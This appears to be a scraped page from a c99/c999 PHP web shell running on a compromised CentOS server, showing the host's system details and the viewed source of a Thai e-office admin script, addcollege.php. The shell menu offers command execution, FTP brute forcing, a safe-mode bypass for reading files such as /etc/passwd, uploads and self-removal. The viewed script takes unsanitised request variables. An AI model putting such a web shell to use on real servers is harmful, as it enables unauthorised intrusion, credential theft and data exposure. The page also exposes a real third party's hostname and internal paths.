!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addcollege.php (5.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsCollegeDetail.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oCd = new collegedetail($oC);
$oCd2 = new collegedetail($oC);

?>
<?
if($method=="addcollege"){
    
$oCd2->SearchByKey($editID);
    
$oCd2->GetRecord();
    
//echo 'collegeName='.$collegeName[$oCd2->collegeID].'<br>';
    //echo 'collegeAbbr='.$collegeAbbr[$oCd2->collegeID].'<br>';
    //echo 'collegeHost='.$collegeHost[$oCd2->collegeID].'<br>';
    
$oCd2->Edit();
    
$oCd2->cID=$oCd2->cID;
    
$oCd2->collegeID=$oCd2->collegeID;
    
$oCd2->collegeName=$collegeName[$oCd2->collegeID];
    
$oCd2->collegeAbbr=$collegeAbbr[$oCd2->collegeID];
    
$oCd2->collegeHost=$collegeHost[$oCd2->collegeID];
    if(
$collegeHost[$oCd2->collegeID]==''){
        
$oCd2->collegeType='N';
    }else{
        
$oCd2->collegeType=$flag[$oCd2->collegeID];
    }
    
$oCd2->Save();
?>
        <script language="JavaScript">
        parent.location.href ="addcollege.php";
        </script>
<?
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="configDept" name="configDept" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">กำหนดข้อมูลวิทยาลัย</font></legend>
      <form name="ff" action="addcollege.php" method="post"target="configDept" ><? //?>
<table width="100%" height="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_15"];?>">
                            <td align="center" width="5%"><strong>รหัสวิทยาลัย</strong></td>
                            <td align="center" width="35%"><strong>ชื่อวิทยาลัย</strong></td>
                            <td align="center" width="15%"><strong>ชื่อย่อวิทยาลัย</strong></td>
                            <td align="center" width="20%"><strong>ip ของวิทยาลัย</strong></td>
                            <td align="center" width="10%"><strong>สถานะ<br>การใช้งาน</strong></td>
                            <td align="center" width="5%"><strong>แก้ไข</strong></td>
                        </tr>
                        <?     
                                $i
=0;
                                
$oCd->RScollegedetail();
                                while(
$oCd->GetRecord()){
                                      if((
$i%2) == 0)
                                              echo 
"<tr>";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\">";                                        
                        
?>
                        <td align="center"><? echo $oCd->collegeID?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeName[<? echo $oCd->collegeID?>]" type="text" size="40" maxlength="255"  value="<? echo $oCd->collegeName?>"  onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{ echo $oCd->collegeName; } ?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeAbbr[<? echo $oCd->collegeID?>]" type="text" size="20" value="<?  echo $oCd->collegeAbbr?>" onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{  echo $oCd->collegeAbbr; } ?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeHost[<? echo $oCd->collegeID?>]" type="text" size="20" value="<?  echo $oCd->collegeHost?>" onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{  echo $oCd->collegeHost; } ?></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                    <input name="flag[<? echo $oCd->collegeID?>]" type="checkbox" value="Y" <? if($oCd->collegeType=="Y"){  echo "checked"; } ?> <? if($edit!=|| ($edit==&& $oCd->collegeID!=$collegeID)){ echo 'disabled';  }?>>
                    &nbsp;ใช้ </font></td>
                        <td align="center">
                        <? if($edit==&& $oCd->collegeID==$collegeID){ ?>
                        <img src="../picture/save.gif" alt="บันทึกข้อมูล"  border="0" style="cursor:pointer;" onClick="return checkFormat('<? echo $oCd->collegeID?>');">
                        <? }else{?>
                        <img src="../picture/edit1.gif" alt="แก้ไขข้อมูล"   border="0" style="cursor:pointer;" onClick="location.href='addcollege.php?edit=1&collegeID=<? echo $oCd->collegeID?>';">
                        <? ?>
                        </td></tr>    
                        <?  $i++;}?>
                    </table>
      <table border="0" align="center" width="100%"><tr><td align="center">
    <br>
                <input type="hidden" name="method">
                <input type="hidden" name="editID">
                <input type="button" name="cancel" value="กลับสู่เมนูหลัก" onClick="location.href = '?mm=1'">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'addcollege.php'">
          </td>
        </tr></table></form>
      
</fieldset> 
        <br>

</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
 function checkFormat(editID){ 
                var agree=confirm("คุณต้องการแก้ไขข้อมูลวิทยาลัยแน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.ff.editID.value=editID;
                    document.ff.method.value="addcollege";
                    document.ff.submit();
                    return true;
                }else{
                    return false ;
                }     

}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--